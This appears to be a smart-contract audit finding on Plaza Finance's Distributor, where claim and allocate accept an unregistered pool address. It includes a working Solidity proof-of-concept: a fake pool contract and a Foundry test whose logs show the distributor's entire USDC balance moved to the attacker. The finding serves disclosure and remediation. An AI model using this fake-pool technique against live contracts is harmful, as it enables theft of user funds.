Distributor could be drained by fake pool
Description
In Distributor, the functions claim
and allocate
do not check that the pool's address parameter, _pool
is in the registered pool, so a fake pool could be used in this function to drain the distributor.
A malicious user could create a fake pool with some function's interface, such as balanceOf
and getIndexedUserAmount
, to bypass claim
's check.
function claim(address _pool) external whenNotPaused() nonReentrant() {
require(_pool != address(0), UnsupportedPool());
Pool pool = Pool(_pool);
BondToken bondToken = pool.bondToken();
address couponToken = pool.couponToken();
// ...
uint256 shares = bondToken.getIndexedUserAmount(msg.sender, balance, currentPeriod)
.normalizeAmount(bondToken.decimals(), IERC20(couponToken).safeDecimals());
// ...
IERC20(couponToken).safeTransfer(msg.sender, shares);
}
function allocate(address _pool, uint256 _amountToDistribute) external whenNotPaused() {
require(_pool == msg.sender, CallerIsNotPool());
Pool pool = Pool(_pool);
// ...
}
Impact
An attacker could drain the distributor by using a fake pool.
The following proof-of-concept script demonstrates that the attacker could drain the distributor by using a fake pool:
contract AttackerFakePool {
// ...
function exploit(Distributor distributor, address _couponToken) public {
couponToken = address(this);
bondToken = address(this);
globalPool = IndexedGlobalAssetPool({
currentPeriod: 0,
sharesPerToken: 0,
previousPoolAmounts: new PoolAmount[](0)
});
targetAmount = IERC20(_couponToken).balanceOf(address(distributor));
distributor.allocate(address(this), targetAmount);
couponToken = _couponToken;
fakeShare = IERC20(_couponToken).balanceOf(address(distributor));
distributor.claim(address(this));
}
// fake couponToken/bondToken interface
function balanceOf(address account) external view returns (uint256) {
return targetAmount;
}
// fake bondToken interface
function getIndexedUserAmount(address user, uint256 balance, uint256 period) public view returns(uint256) {
return fakeShare * 10**(18-6);
}
// ...
}
//...
function testAuditDistributeDrain() public {
// logic from testClaimShares() in Distributor.t.sol
Token sharesToken = Token(_pool.couponToken());
vm.startPrank(minter);
_pool.bondToken().mint(user1, 1*10**18);
sharesToken.mint(address(_pool), 50*(1+10000)*10**18);
vm.stopPrank();
vm.startPrank(governance);
fakeSucceededAuction(address(_pool), 0);
vm.mockCall(
address(0),
abi.encodeWithSignature("state()"),
abi.encode(uint256(1))
);
vm.warp(block.timestamp + params.distributionPeriod);
_pool.distribute();
vm.stopPrank();
// attacker exploit start
vm.startPrank(address(0x31337));
AttackerFakePool attacker = new AttackerFakePool();
console.log("distributor USDC balance: ", IERC20(address(_pool.couponToken())).balanceOf(address(distributor)));
console.log("attacker USDC balance: ", IERC20(address(_pool.couponToken())).balanceOf(address(attacker)));
attacker.exploit(distributor, address(_pool.couponToken()));
console.log("-----------------after exploit-----------------");
console.log("distributor USDC balance: ", IERC20(address(_pool.couponToken())).balanceOf(address(distributor)));
console.log("attacker USDC balance: ", IERC20(address(_pool.couponToken())).balanceOf(address(attacker)));
vm.stopPrank();
}
The following text is the result of the proof-of-concept script:
[PASS] testAuditDistributeDrain() (gas: 2411823)
Logs:
distributor USDC balance: 25002500000
attacker USDC balance: 0
-----------------after exploit-----------------
distributor USDC balance: 0
attacker USDC balance: 25002500000
Recommendations
Check that the pool's address parameter, _pool
, is in the registered pool in the claim
and allocate
functions.
Remediation
This issue has been acknowledged by Plaza Finance, and fixes were implemented in the following commits: